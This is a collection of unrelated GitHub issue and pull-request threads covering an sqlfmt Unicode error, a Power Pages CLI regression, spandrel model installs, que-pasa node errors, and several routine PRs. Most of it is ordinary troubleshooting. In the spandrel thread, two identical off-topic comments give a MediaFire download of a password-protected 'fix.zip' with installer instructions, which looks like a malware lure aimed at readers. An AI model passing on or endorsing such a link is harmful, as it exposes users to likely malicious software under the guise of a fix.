UnicodeDecodeError

Describe the bug
I'm trying to run sqlfmt . on my dbt repo but am getting a UnicodeDecodeError. I can't figure out what file sqlfmt is getting stuck on.
To Reproduce
I'm not sure how others can reproduce until I know what file is an issue. I've tried sqlfmt -v . but don't see any additional logs.
Expected behavior
I expect sqlfmt to finish processing all files.
Actual behavior
$ sqlfmt --verbose .
 59%|█████████████████████████▏                 | 745/1269 [00:08<00:27, 19.28file/s]concurrent.futures.process._RemoteTraceback:
"""
Traceback (most recent call last):
  File "C:\Program Files\Python310\lib\concurrent\futures\process.py", line 246, in _process_worker
    r = call_item.fn(*call_item.args, **call_item.kwargs)
  File "C:\Users\ryan.meekins\Desktop\transformer\.venv\lib\site-packages\sqlfmt\api.py", line 221, in _format_one
    source = _read_path_or_stdin(path)
  File "C:\Users\ryan.meekins\Desktop\transformer\.venv\lib\site-packages\sqlfmt\api.py", line 258, in _read_path_or_stdin
    source = f.read()
  File "C:\Program Files\Python310\lib\encodings\cp1252.py", line 23, in decode
    return codecs.charmap_decode(input,self.errors,decoding_table)[0]
UnicodeDecodeError: 'charmap' codec can't decode byte 0x9d in position 2581: character maps to <undefined>
"""

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "C:\Program Files\Python310\lib\runpy.py", line 196, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "C:\Program Files\Python310\lib\runpy.py", line 86, in _run_code
    exec(code, run_globals)
  File "C:\Users\ryan.meekins\Desktop\transformer\.venv\Scripts\sqlfmt.exe\__main__.py", line 7, in <module>
  File "C:\Users\ryan.meekins\Desktop\transformer\.venv\lib\site-packages\click\core.py", line 1130, in __call__
    return self.main(*args, **kwargs)
  File "C:\Users\ryan.meekins\Desktop\transformer\.venv\lib\site-packages\click\core.py", line 1055, in main
    rv = self.invoke(ctx)
  File "C:\Users\ryan.meekins\Desktop\transformer\.venv\lib\site-packages\click\core.py", line 1404, in invoke
    return ctx.invoke(self.callback, **ctx.params)
  File "C:\Users\ryan.meekins\Desktop\transformer\.venv\lib\site-packages\click\core.py", line 760, in invoke
    return __callback(*args, **kwargs)
  File "C:\Users\ryan.meekins\Desktop\transformer\.venv\lib\site-packages\click\decorators.py", line 26, in new_func
    return f(get_current_context(), *args, **kwargs)
  File "C:\Users\ryan.meekins\Desktop\transformer\.venv\lib\site-packages\sqlfmt\cli.py", line 181, in sqlfmt
    report = api.run(files=matched_files, mode=mode, callback=progress_callback)
  File "C:\Users\ryan.meekins\Desktop\transformer\.venv\lib\site-packages\sqlfmt\api.py", line 76, in run
    results = _format_many(files, cache, mode, callback=callback)
  File "C:\Users\ryan.meekins\Desktop\transformer\.venv\lib\site-packages\sqlfmt\api.py", line 184, in _format_many
    asyncio.run(_multiprocess_map(format_func, paths, callback=callback))
  File "C:\Program Files\Python310\lib\asyncio\runners.py", line 44, in run
    return loop.run_until_complete(main)
  File "C:\Program Files\Python310\lib\asyncio\base_events.py", line 649, in run_until_complete
    return future.result()
  File "C:\Users\ryan.meekins\Desktop\transformer\.venv\lib\site-packages\sqlfmt\api.py", line 212, in _multiprocess_map
    results: List[R] = await asyncio.gather(*tasks)
UnicodeDecodeError: 'charmap' codec can't decode byte 0x9d in position 2581: character maps to <undefined>

Additional context
sqlfmt, version 0.16.0
Python 3.10.10

Just noticed that sqlfmt . does work on our project when running in a linux environment (ubuntu-20.04). Realized this after setting up a GitHub Action. Locally, I'm running in a 64-bit Windows 10 Python environment.

I think this is the same issue as #350. Can you try the fix in that issue and let me know if that solves it?

that solved it, thanks!


Azure DevOps Pipeline PowerPages Fails

Describe the bug
Last few days our PowerPages pipeline has started failing. It is giving the following error:
Error: Power Pages entities for standard data model (v1) aren't available on this org, please install required packages on this org. If you are trying to upload to enhanced data model (v2), pass model version as "2". For more information see https://learn.microsoft.com/en-us/power-pages/admin/enhanced-data-model#data-model-power-platform-cli-parameters .
It's a V1 portal. The pipeline was working properly before.
Logs.txt
To Reproduce
Steps to reproduce the behavior:

Run a DevOps pipeline job that deploys portals. It will fail with the error message:
Error: Power Pages entities for standard data model (v1) aren't available on this org, please install required packages on this org. If you are trying to upload to enhanced data model (v2), pass model version as "2". For more information see https://learn.microsoft.com/en-us/power-pages/admin/enhanced-data-model#data-model-power-platform-cli-parameters .

Expected behavior
The portal to deploy to downstream environments.

Having same issue using
# Upload Portal https://learn.microsoft.com/en-us/power-platform/alm/devops-build-tool-tasks#yaml-snippet-upload-paportal
- task: microsoft-IsvExpTools.PowerPlatform-BuildTools.upload-paportal.PowerPlatformUploadPaportal@2
  displayName: 'Upload Portal to ${{ parameters.environmentName }}'
  inputs:
    authenticationType: 'PowerPlatformSPN'
    PowerPlatformSPN: ${{ parameters.ppSpn }}
    UploadPath: '${{ parameters.stagingPath }}'
    DeploymentProfile: '${{ parameters.environmentName }}'
    Environment: '${{ parameters.environmentURL }}'

I can confirm this broke with version 1.34.3 of the CLI
1.33.5 works as expected.

This broke in our environment as well. Worked on August 21st but is breaking now today.

Has anyone managed to find a workaround? Possible to specify a specific version of the build tools?

I’ve reverted back to deploying locally. Not ideal but it works.

Unfortunately our client does not allow that, so we're stuck until a fix is deployed.

Just to draw more attention to the problem... we also have this exact problem.

I was having this issue as well and have worked around it by switching to a PowerShell task in ADO temporarily so that I can specify the CLI version. I run commands like the following:
dotnet tool install --global Microsoft.PowerApps.CLI.Tool --version 1.33.5

pac auth create -mi -env XXX

pac pages upload --path XXX --deploymentProfile XXX --modelVersion 1

I was having this issue as well and have worked around it by switching to a PowerShell task in ADO temporarily so that I can specify the CLI version. I run commands like the following:
dotnet tool install --global Microsoft.PowerApps.CLI.Tool --version 1.33.5

pac auth create -mi -env XXX

pac pages upload --path XXX --deploymentProfile XXX --modelVersion 1

To build on this, if you need to authenticate using a service connection I use this task to extract the connection info
    - task: PowerPlatformSetConnectionVariables@2
      name: conn
      inputs:
        authenticationType: 'PowerPlatformSPN'
        PowerPlatformSPN: 'service-connection-name-here'

Then you can extract the appId, secret and tenant like so
pac auth create --name UAT-SPN --applicationId $(conn.BuildTools.ApplicationId) --clientSecret $(conn.BuildTools.ClientSecret) --tenant $(conn.BuildTools.TenantId)

I was having this issue as well and have worked around it by switching to a PowerShell task in ADO temporarily so that I can specify the CLI version. I run commands like the following:
dotnet tool install --global Microsoft.PowerApps.CLI.Tool --version 1.33.5

pac auth create -mi -env XXX

pac pages upload --path XXX --deploymentProfile XXX --modelVersion 1

To build on this, if you need to authenticate using a service connection I use this task to extract the connection info
    - task: PowerPlatformSetConnectionVariables@2
      name: conn
      inputs:
        authenticationType: 'PowerPlatformSPN'
        PowerPlatformSPN: 'service-connection-name-here'

Then you can extract the appId, secret and tenant like so
pac auth create --name UAT-SPN --applicationId $(conn.BuildTools.ApplicationId) --clientSecret $(conn.BuildTools.ClientSecret) --tenant $(conn.BuildTools.TenantId)

Hey Thanks,
that seems to work perfectly on my local machine but for some reason in a pipeline i get the error "Sorry, the app encountered a non recoverable error and will need to terminate." any ideas on how to fix that?

We had exactly the same problem, in our azure pipeline we were running the "Latest Version" of the CLI and thats where the issue hit! I copied in the version you were running @ManuLeaN on your local and it started magicly working!


Implement auth flow

https://github.com/matt8707/ha-fusion/assets/36163594/b1fe8fa9-1e2b-4bbd-9fad-7fe8017ca4f9

I think this is broken in some circumstances. See here: #246


How to test newer model additions since last release (May 17)?

How to test newer model additions since last release (May 17)?
If I use pipx like this: pipx install spandrel, only get last release v0.3.4 (from May 17).

New additions:
Low Light Models (only ones supported by Spandrel):

RetinexFormer
HVI-CIDNet

Newwer Upscaler:

SeemoRe

distro: Arch Linux x86_64
kernel: 6.6.22-1-lts
shell: bash 5.2.32
term: tmux
cpu: Intel i7-4790 (8) @ 3.600GHz
gpu: AMD ATI Radeon RX 470/480/570/570X/580/580X/590

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Just released a new version. Sorry that took so long

I was able to install last spandrel with:
pipx install spandrel --include-deps

But chaiNNer still can't open those models, what I'm doing wrong?

chaiNNer needs to be properly updated to correctly use the next spandrel version. I do not have an ETA on that, sorry.

If I want to only to do upscales, which software do you recommend? (that is compatible with spandrel besides chaiNNer) and easy to use. Not txt2img or else.
I haven't used any of this:

AUTOMATIC1111's SD WebUI
ComfyUI
InvokeAI
imaginAIry
dgenerate

I have not fully tested the low light models with dgenerate but a quick test of RetinexFormer seems to "work"
dgenerate --sub-command image-process input.png --output output.png --align 1 --processors "upscaler;model=SDSD_indoor.pth" --device cpu
Unfortunately I do not have access to any AMD hardware to build and test around.
So I do not have my package setup to handle installing the ROCm torch backend.
I would like to figure that out by the next release since it is mostly a packaging / dependency issue which requires some janky trickery in setup.py

I did install dgenerate with this:
pipx install dgenerate[ncnn] --pip-args "--extra-index-url https://download.pytorch.org/whl/cu121/"

Takes A Lot of Storage Space! (like 6GB), if you install this besides comfyUI and ChaiNNer, all of them install cuda+torch in each venv (like 20GB!), there's a way to just share same venv 4 all? I don't know how to do that with pipx.

Was able to use it with only cpu with this shell script:
#!/bin/bash

dgenerate --sub-command image-process --device cpu in.png \
--output output/upscaled.png \
--processors "upscaler;model=/home/user123/models/2xNomosUni_span_multijpg.pth"

But didn't work with ncnn models and GPU (AMD), just did the upscale of 1/8 of the image and finish with and incomplete image, I did use this shell script:
#! /usr/bin/env bash

MODEL=/home/user123/models/realesr-animevideov3-x2.bin
PARAM=/home/user123/models/realesr-animevideov3-x2.param

dgenerate --sub-command image-process in.png \
--output output/upscaled.png \
--processors "upscaler-ncnn;model=${MODEL};param=${PARAM};use-gpu=true"

I wouldn’t expect ncnn to work on anything except nvidia with dgenerate because the python binding is very finicky and I only have nvidia hardware to test it on.
I am working on making the package install with --index-url https://download.pytorch.org/whl/rocm6.1
you may be able to install it this way from the branch: https://github.com/Teriks/dgenerate/tree/sd3_inpaint
that would probably support generation with spandrels models on AMD (big maybe), torch still refers to the device as “cuda” with this backend for compatibility.
unfortunately you should not try to install any of these software packages into the same environment, they have very specific dependencies and that is why they isolate the environment.
they are very likely to break each other if you install them globally or side by side


main thread panic in Result::unwrap (mainnet)

I'm getting the following error running quepasa on mainnet (hangzhounet seems to be fine):
thread 'main' panicked at 'called `Result::unwrap()` on an `Err` value: failed to get level_json for level=2062509

Full output:
damian@d-mba2 que-pasa % RUST_BACKTRACE=1 NODE_URL=https://mainnet.api.tez.ie DATABASE_NAME=quepasa-mainnet DATABASE_URL=[[omitted]] BCD_URL=https://api.better-call.dev/v1 BCD_NETWORK=mainnet NETWORK=mainnet cargo run -- --bcd-enable --contracts [[omitted]]

    Finished dev [unoptimized + debuginfo] target(s) in 0.18s
     Running `target/debug/que-pasa --bcd-enable --contracts [[omitted]]
[2022-01-26T12:06:37Z INFO  que_pasa] running for contracts: [
        ContractID {
...
        },
    ]
[2022-01-26T12:06:39Z INFO  que_pasa::sql::db] querying db to check for any missing levels of ewy_mainnet..
thread 'main' panicked at 'called `Result::unwrap()` on an `Err` value: failed to get level_json for level=2062509

Caused by:
    Stream error in the HTTP/2 framing layer (verbose: HTTP/2 stream 0 was not closed cleanly: INTERNAL_ERROR (err 2)) (curl status code: 92)', src/main.rs:155:10
stack backtrace:
   0: rust_begin_unwind
             at /rustc/f1edd0429582dd29cccacaf50fd134b05593bd9c/library/std/src/panicking.rs:517:5
   1: core::panicking::panic_fmt
             at /rustc/f1edd0429582dd29cccacaf50fd134b05593bd9c/library/core/src/panicking.rs:100:14
   2: core::result::unwrap_failed
             at /rustc/f1edd0429582dd29cccacaf50fd134b05593bd9c/library/core/src/result.rs:1616:5
   3: core::result::Result<T,E>::unwrap
             at /rustc/f1edd0429582dd29cccacaf50fd134b05593bd9c/library/core/src/result.rs:1298:23
   4: que_pasa::main
             at ./src/main.rs:148:5
   5: core::ops::function::FnOnce::call_once
             at /rustc/f1edd0429582dd29cccacaf50fd134b05593bd9c/library/core/src/ops/function.rs:227:5
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.

Hi Damian, does it happen consistently with this block specifically? If no, does it happen from time to time?
On first impression this seems like a Tezos node that is not behaving correctly (the communication stream not being closed correctly hints at it, which presumably is happening because something else goes wrong - inside the node - during the RPC call to the node).
Personally tried to index this block with a public Tezos node (https://mainnet-tezos.giganode.io) and it went fine.
Perhaps there are ways that Que Pasa could deal with this scenario better, but I think I need some more information from you in order to go forward.

ok, so indexing was able to resume with https://mainnet-tezos.giganode.io - i let it run from 2062509 to 2062535, then switched back to https://mainnet.api.tez.ie and now it's working fine. so it does seem like it was just the combination of block 2062509 / https://mainnet.api.tez.ie . i don't know enough about postgresql to be able to roll back the db to try that block again though :/

fwiw i'm able to reproduce the curl error on the command line with curl -vv https://mainnet.api.tez.ie/chains/main/blocks/2062509 > /tmp/2062509.block:
{ [871 bytes data]
 17 7735k   17 1330k    0     0  78413      0  0:01:41  0:00:17  0:01:24 90884* HTTP/2 stream 0 was not closed cleanly: INTERNAL_ERROR (err 2)
* stopped the pause stream!
 18 7735k   18 1423k    0     0  80043      0  0:01:38  0:00:18  0:01:20   97k
* Connection #0 to host mainnet.api.tez.ie left intact
curl: (92) HTTP/2 stream 0 was not closed cleanly: INTERNAL_ERROR (err 2)

Interesting. So it is this mainnet.api.tez node that is causing trouble somehow.
It looks like Que Pasa cannot do much better here. This is not a transient error, if it happens it will happen again when attempting to contact the same node for the same block. So, adding it to that class of errors and retrying the RPC call will not help at all here.
The only way that Que Pasa could maybe do better is have a fallback node for such kind of errors; then it can retry the RPC call on this fallback node.
Will leave this issue open so that discussion can continue if there's more to be said. And planning to modify the node url parameter to optionally be an array of node urls, the first being the primary and the rest being fallback nodes for any non-transient errors.

ping @RKlompUU - I'm seeing error messages like
Failure when receiving data from the peer (verbose: OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 104) (curl status code: 56)', src/main.rs:159:32 and thread 'main' panicked at 'called Result::unwrap()on anErr value: failed to deserialize block json. This is using the giganode.io RPC nodes.
These errors tend to disappear on restart. Ideally, quepasa should always back off and retry error'd calls like this.

also DB connection issues could be treated as transient - at the moment when my frontend gets stressed, the backend can run out of connections to the postgresql instance, and as soon as this happens que-pasa simply terminates:
thread 'main' panicked at 'called `Result::unwrap()` on an `Err` value: failed to connect to the db "

@damian0815
here's the PR: https://github.com/tzConnectBerlin/que-pasa/pull/45
The only thing I haven't been able to address is the "thread 'main' panicked at 'called Result::unwrap() on an Err value: failed to deserialize block json". Unfortunately I think I'd need a bit more context in order to look into this. I have to know where exactly this unwrap() is called, and most likely a bit more context besides that as well. If it is not a problem for you, could you run with rust nightly mode and with RUST_BACKTRACE environment variable defined to 1? Alike this: cargo +nightly run -- ... (substituting ... with your own que pasa arguments).
I'll leave the PR open for a bit, until tomorrow morning or so. But probably we wont be able to address this json deserialization issue by then. I think that issue will wait for a later PR, so we can get what's been done already into a new version directly.

Solved I think all of your remarks. Was merged into main with PR #45, release version v1.1.1.
Closing this issue, should I have missed anything then I think it's best to open a new Issue rather than continuing here.

thanks @RKlompUU - i've scheduled an issue to try it out on the Endless Ways staging indexer, will let you know how it works out when i've done that.


Add UrlFormLifter middleware

The UrlFormLifter is a middleware that will lift a application/x-www-form-urlencoded body into the Query params.
NOTE: this doesn't have tests yet. I envision debating its structure/behavior then I'll write tests and merge it (if we want it merged).

:+1:

Cool. I'll add some tests before merging this.

I believe this is ready to merge. If nobody objects or beats me to it, I'll merge it myself sometime the next few days.


Add option to set page.date automatically with the file creation date

This PR builds on @klandergren's git-cache PR: https://github.com/gjtorikian/jekyll-last-modified-at/pull/87
It adds support for the "first posted at" variable suggested in https://github.com/gjtorikian/jekyll-last-modified-at/issues/90 but places that variable instead in the page.date slot so that it will work out-of-the-box with other plugins (such as jekyll-feed) which rely on the page.date variable.

@gjtorikian, any chance you could take a look and merge this PR? 🙏

Yeah, I will look at this this week!

I can tell you right now though that there should be tests in here for that functionality.

Thank you, @gjtorikian! I see @buddhist-uni has already given your message a thumbs up and will probably create tests 🙂. 🙏 to both!

Oh just to be clear, I was agreeing that there should be tests... I wasn't volunteering to write them 😂 I have no experience with this testing framework and (for complicated reasons) won't have access to a laptop for a while.

Ah heh, didn't mean to volunteer you for that, apologies 😄

No worries! I appreciate your enthusiastic support 😊
BTW: When I did more thorough testing, I found that implicit (filename) dates were indeed being overriden by the plugin! You will have to add frontmatter dates for posts that were committed on a different day than their name implies.
{% note to self %} I have a theory that simply setting a frontmatter default of date: nil on posts should do the trick as it will clear the plugin and open the way for the default (filename) date. Once that behavior is confirmed / controverted, the README will have to be updated accordingly. {% endnote %}
The above also points to the big question I had RE testing, @gjtorikian: The most brittle part of this is the integration with Jekyll, yet there seems to be no good way to unit test that integration with ruby specs, huh?

👋 Unfortunately, my GitHub notifications for this repository was oddly turned off. I take my responsibility to accepting patches seriously; however, I am just one person, with a very busy life off of GitHub.com! I'm going to close this PR because I like to keep my TODO list scoped and reasonable. This does not mean I will not accept this patch! Rather, it's a way of me asking you if you're still using this gem, and whether you want this PR merged. Just comment back and I'll prioritize it. I assume silence means I can keep it closed. Thanks!
this was an automated copy-paste

I'm still using this


Array, Number, and maybe other constructors are not showing full list of completions

Instead it is only showing Array() in the completion list.

According to my research, this code somewhere in the Nodejs\Product\Analysis\Analysis\GlobalBuilder.cs


Adjust package structure

Signed-off-by: santong<EMAIL_ADDRESS>
Description

Related Issue

Motivation and Context

Screenshots (if appropriate):
Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] Documentation Update (if none of the other choices apply)

Checklist:

[ ] Code compiles correctly.
[ ] My code follows the code style of this project.
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[ ] I have read the CONTRIBUTING document.
[ ] I have added tests to cover my changes.
[ ] All new and existing tests passed.

Codecov Report

Merging #539 (1045870) into main (b36bd74) will increase coverage by 0.15%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##             main     #539      +/-   ##
==========================================
+ Coverage   39.33%   39.48%   +0.15%
==========================================
  Files          86       86
  Lines        6542     6542
==========================================
+ Hits         2573     2583      +10
+ Misses       3599     3588      -11
- Partials      370      371       +1

Flag
Coverage Δ

e2etests
?

unittests
39.48% <ø> (+0.15%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

cdnsystem/server/seeder_server.go
0.00% <ø> (ø)

cdnsystem/supervisor/cdn/cache_data_mgr.go
76.40% <ø> (ø)

cdnsystem/supervisor/cdn/cache_detector.go
53.91% <ø> (ø)

cdnsystem/supervisor/cdn/cache_writer.go
78.57% <ø> (ø)

cdnsystem/supervisor/cdn/downloader.go
62.50% <ø> (ø)

cdnsystem/supervisor/cdn/manager.go
59.61% <ø> (ø)

cdnsystem/supervisor/cdn/reporter.go
84.21% <ø> (ø)

cdnsystem/supervisor/task/manager.go
10.63% <ø> (ø)

cdnsystem/supervisor/task/manager_util.go
0.00% <ø> (ø)

pkg/source/httpprotocol/http_source_client.go
66.26% <ø> (ø)

... and 2 more


Add remaining methods to JSON-RPC server

Previous work added support for (at least serialization and deserialization of) the eth_ methods and the hardhat_ methods.
Definition of Done

Request structures should be implemented for all methods represented in packages/hardhat-core/src/internal/hardhat-network/provider/modules/. (@Wodann has already implemented net_version, though it may not be merged yet.)
Upon a client attempting to invoke an unsupported/unimplemented method, the server should provide a graceful "not supported" error response.

Superceded by https://github.com/NomicFoundation/edr/issues/90


Discussion: The described available updates after everything has been updated (still says the initial amount, e.g., 3)

What's detected still says 3 after what was available has been updated in this case.
It isn't reset to 0 after successfully installing all the available updates.
I do get the potential reasoning behind it (there were X amounts of updates available to begin with), but it risks being misleading in the long-run - especially when taking a look at the tray menu;

Whoops...
This gotta be fixed

Done!


staticCache Content-Length header

Content-Length should still be sent with it's original value during a HEAD request.
This line sets Content-Length to 0 if the method is HEAD.

You're right. I will take care of this.

shit, didn't catch that haha thanks for the report


BeforeUpdate, BeforeRemove and BeforeSoftRemove don't working

Hello,
The subscribers @BeforeUpdate, @BeforeRemove and @BeforeSoftRemove don't get called when I use dataSource.getRepository(Entity).remove(entity).
  @BeforeRemove()
  storeUserIdBeforeRemove(): void {
    if (this.userId) this._userId = this.userId;
  }

For example, when I use the code above, _userId is undefined.
Can you help me?

Hi @roberto-souza,
This could be a typeorm problem. Is the entity an instance of Entity?
// subscribers will not work
const entity = {...};
dataSource.getRepository(Entity).remove(entity);

// subscribers will work
const entity = new Entity(); // or if Entity is subclass of BaseEntity, you can use Entity.create(...)
dataSource.getRepository(Entity).remove(entity);

https://github.com/typeorm/typeorm/issues/2577
Please refer to this link. 🙏

Please let me know if you have any related issues. 🙏


.Net: Fix dotnet Example14 for WithOpenAITextEmbeddingGenerationService

Motivation and Context
Please help reviewers and future users, providing the following information:

Why is this change required?
dotnet / KernelSyntaxExamples Example 14 currently fails

What problem does it solve?
Update Example 14 (dotnet, KernelSyntaxExamples) to conform to the proper use of WithOpenAITextEmbeddingGenerationService.  The old serviceId parameter is no longer required here.

What scenario does it contribute to?
dotnet Examples

If it fixes an open issue, please link to the issue here.
https://github.com/microsoft/semantic-kernel/issues/2947

Description
Removed the serviceId parameter from the call to WithOpenAITextEmbeddingGenerationService
Contribution Checklist

[x] The code builds clean without any errors or warnings
[x] The PR follows the SK Contribution Guidelines and the pre-submission formatting script raises no violations
[x] All unit tests pass, and I have added new tests where possible
[x] I didn't break anyone :smile:

THANK YOU to all the contributors at Microsoft & the community.

@microsoft-github-policy-service agree

From: microsoft-github-policy-service[bot] @.>
Sent: Friday, September 22, 2023 6:34 PM
To: microsoft/semantic-kernel @.>
Cc: Zach Pennington @.>; Mention @.>
Subject: Re: [microsoft/semantic-kernel] .Net: Fix dotnet Example14 for WithOpenAITextEmbeddingGenerationService (PR #2946)
@JRA-zachpenningtonhttps://github.com/JRA-zachpennington please read the following Contributor License Agreement(CLA). If you agree with the CLA, please reply with the following information.
@microsoft-github-policy-service agree [company="{your company}"]
Options:

(default - no company specified) I have sole ownership of intellectual property rights to my Submissions and I am not making Submissions in the course of work for my employer.

@microsoft-github-policy-service agree

(when company given) I am making Submissions in the course of work for my employer (or my employer has intellectual property rights in my Submissions by contract or applicable law). I have permission from my employer to make Submissions and enter into this Agreement on behalf of my employer. By signing below, the defined term “You” includes me and my employer.

@microsoft-github-policy-service agree company="Microsoft"
Contributor License Agreement
Contribution License Agreement
This Contribution License Agreement (“Agreement”) is agreed to by the party signing below (“You”),
and conveys certain license rights to Microsoft Corporation and its affiliates (“Microsoft”) for Your
contributions to Microsoft open source projects. This Agreement is effective as of the latest signature
date below.

Definitions.
“Code” means the computer software code, whether in human-readable or machine-executable form,
that is delivered by You to Microsoft under this Agreement.
“Project” means any of the projects owned or managed by Microsoft and offered under a license
approved by the Open Source Initiative (www.opensource.orghttp://www.opensource.org).
“Submit” is the act of uploading, submitting, transmitting, or distributing code or other content to any
Project, including but not limited to communication on electronic mailing lists, source code control
systems, and issue tracking systems that are managed by, or on behalf of, the Project for the purpose of
discussing and improving that Project, but excluding communication that is conspicuously marked or
otherwise designated in writing by You as “Not a Submission.”
“Submission” means the Code and any other copyrightable material Submitted by You, including any
associated comments and documentation.
Your Submission. You must agree to the terms of this Agreement before making a Submission to any
Project. This Agreement covers any and all Submissions that You, now or in the future (except as
described in Section 4 below), Submit to any Project.
Originality of Work. You represent that each of Your Submissions is entirely Your original work.
Should You wish to Submit materials that are not Your original work, You may Submit them separately
to the Project if You (a) retain all copyright and license information that was in the materials as You
received them, (b) in the description accompanying Your Submission, include the phrase “Submission
containing materials of a third party:” followed by the names of the third party and any licenses or other
restrictions of which You are aware, and (c) follow any other instructions in the Project’s written
guidelines concerning Submissions.
Your Employer. References to “employer” in this Agreement include Your employer or anyone else
for whom You are acting in making Your Submission, e.g. as a contractor, vendor, or agent. If Your
Submission is made in the course of Your work for an employer or Your employer has intellectual
property rights in Your Submission by contract or applicable law, You must secure permission from Your
employer to make the Submission before signing this Agreement. In that case, the term “You” in this
Agreement will refer to You and the employer collectively. If You change employers in the future and
desire to Submit additional Submissions for the new employer, then You agree to sign a new Agreement
and secure permission from the new employer before Submitting those Submissions.
Licenses.

Copyright License. You grant Microsoft, and those who receive the Submission directly or
indirectly from Microsoft, a perpetual, worldwide, non-exclusive, royalty-free, irrevocable license in the
Submission to reproduce, prepare derivative works of, publicly display, publicly perform, and distribute
the Submission and such derivative works, and to sublicense any or all of the foregoing rights to third
parties.
Patent License. You grant Microsoft, and those who receive the Submission directly or
indirectly from Microsoft, a perpetual, worldwide, non-exclusive, royalty-free, irrevocable license under
Your patent claims that are necessarily infringed by the Submission or the combination of the
Submission with the Project to which it was Submitted to make, have made, use, offer to sell, sell and
import or otherwise dispose of the Submission alone or with the Project.
Other Rights Reserved. Each party reserves all rights not expressly granted in this Agreement.
No additional licenses or rights whatsoever (including, without limitation, any implied licenses) are
granted by implication, exhaustion, estoppel or otherwise.

Representations and Warranties. You represent that You are legally entitled to grant the above
licenses. You represent that each of Your Submissions is entirely Your original work (except as You may
have disclosed under Section 3). You represent that You have secured permission from Your employer to
make the Submission in cases where Your Submission is made in the course of Your work for Your
employer or Your employer has intellectual property rights in Your Submission by contract or applicable
law. If You are signing this Agreement on behalf of Your employer, You represent and warrant that You
have the necessary authority to bind the listed employer to the obligations contained in this Agreement.
You are not expected to provide support for Your Submission, unless You choose to do so. UNLESS
REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING, AND EXCEPT FOR THE WARRANTIES
EXPRESSLY STATED IN SECTIONS 3, 4, AND 6, THE SUBMISSION PROVIDED UNDER THIS AGREEMENT IS
PROVIDED WITHOUT WARRANTY OF ANY KIND, INCLUDING, BUT NOT LIMITED TO, ANY WARRANTY OF
NONINFRINGEMENT, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE.
Notice to Microsoft. You agree to notify Microsoft in writing of any facts or circumstances of which
You later become aware that would make Your representations in this Agreement inaccurate in any
respect.
Information about Submissions. You agree that contributions to Projects and information about
contributions may be maintained indefinitely and disclosed publicly, including Your name and other
information that You submit with Your Submission.
Governing Law/Jurisdiction. This Agreement is governed by the laws of the State of Washington, and
the parties consent to exclusive jurisdiction and venue in the federal courts sitting in King County,
Washington, unless no federal subject matter jurisdiction exists, in which case the parties consent to
exclusive jurisdiction and venue in the Superior Court of King County, Washington. The parties waive all
defenses of lack of personal jurisdiction and forum non-conveniens.
Entire Agreement/Assignment. This Agreement is the entire agreement between the parties, and
supersedes any and all prior agreements, understandings or communications, written or oral, between
the parties relating to the subject matter hereof. This Agreement may be assigned by Microsoft.

—
Reply to this email directly, view it on GitHubhttps://github.com/microsoft/semantic-kernel/pull/2946#issuecomment-1732126732, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AVQ22CGP4LOEHY6EKZD2ZG3X3YN73ANCNFSM6AAAAAA5DSCW6Q.
You are receiving this because you were mentioned.Message ID: @.***>

Ah @dmytrostruk -- it looks like the substantive changes have already been merged like you said.
If you agree, I recommend we can close this PR? #2946
Thank you!


Add option for mode line highlighting to use contrasting colors.

This change adds an option to the mode line highlighting to use contrasting colors to indicate the active mode line rather than using a box. The readme has also been updated to include the new options.
This is in relation to a comment by the maintainer that not everyone is a fan of the "box" highlighting used by the original change :-)

😬  I mean, I feel like it's mainly me... anyway, thanks for going through all the work to improve settings! I'm happy to merge this.


Add support for DNS Search Domains

what

Add DNS Search Domain as an option

why

Missing option in current module

references

/test all

/rebuild readme

/rebuild-readme

/test all


[Suggestion] Add a ETA

It would be nice, but probably not going to happen.
Let's say we're trying to get diamonds. Before getting an ETA for that I'd first need an ETA for:

Getting an iron pick

Mining 3 iron ore
Smelting 3 iron ore
Getting a Stone Pick

Mining 3 stone
Getting planks etc.
etc.

Getting planks, if we don't have them already etc.

Mining the diamonds.

That's possible. But even if I get those ETA's done, I have a bigger problem:
The "mine diamonds" task would need to know every child task it may run. At the moment, which sub-task is run is determined ENTIRELY in the tasks "tick" update function, and not in some easy-to-read data structure. So if you ask a task "Hey, what child tasks/subtasks will you run in the future?" it can't tell you. It can only tell you what it's running NOW.
Might represent a flaw in the system, not sure, but ATM this would be very difficult to do unfortunately.


SNOW-1625468 Support indexing with Timedelta data columns

Which Jira issue is this PR addressing? Make sure that there is an accompanying issue to your PR.

SNOW-1625468 Support indexing with Timedelta data columns

Fill out the following pre-review checklist:

[ ] I am adding a new automated test(s) to verify correctness of my new code

[ ] If this test skips Local Testing mode, I'm requesting review from @snowflakedb/local-testing

[ ] I am adding new logging messages
[ ] I am adding a new telemetry message
[ ] I am adding new credentials
[ ] I am adding a new dependency
[ ] If this is a new feature/behavior, I'm adding the Local Testing parity changes.

Please describe how your code solves the related issue.
Please write a short description of how your code change solves the related issue.

Support indexing with Timedelta data columns:

Added sufficient tests cases for indexing including get and set values with the same timedelta type or different types.
To achieve this, I updated several util methods related to transpose, join too.
Also, I need to refactor SnowparkPandasType since there are some confusing on type object and class there.

This pull request includes several changes to enhance support for Timedelta and improve type safety in the Snowflake Snowpark Modin plugin. The most important changes are summarized below:
Enhancements to Timedelta Support:

Added support for indexing with Timedelta data columns. (CHANGELOG.md: CHANGELOG.mdR30-L37)

Type Safety Improvements:

Added assertions to check that data_column_types and index_column_types are instances of SnowparkPandasType in _create_snowflake_quoted_identifier_to_snowpark_pandas_type. (src/snowflake/snowpark/modin/plugin/_internal/frame.py: src/snowflake/snowpark/modin/plugin/_internal/frame.pyR92-R106)
Updated project_columns to include an optional column_types parameter and ensure its length matches pandas_labels. (src/snowflake/snowpark/modin/plugin/_internal/frame.py: [1] [2] [3]
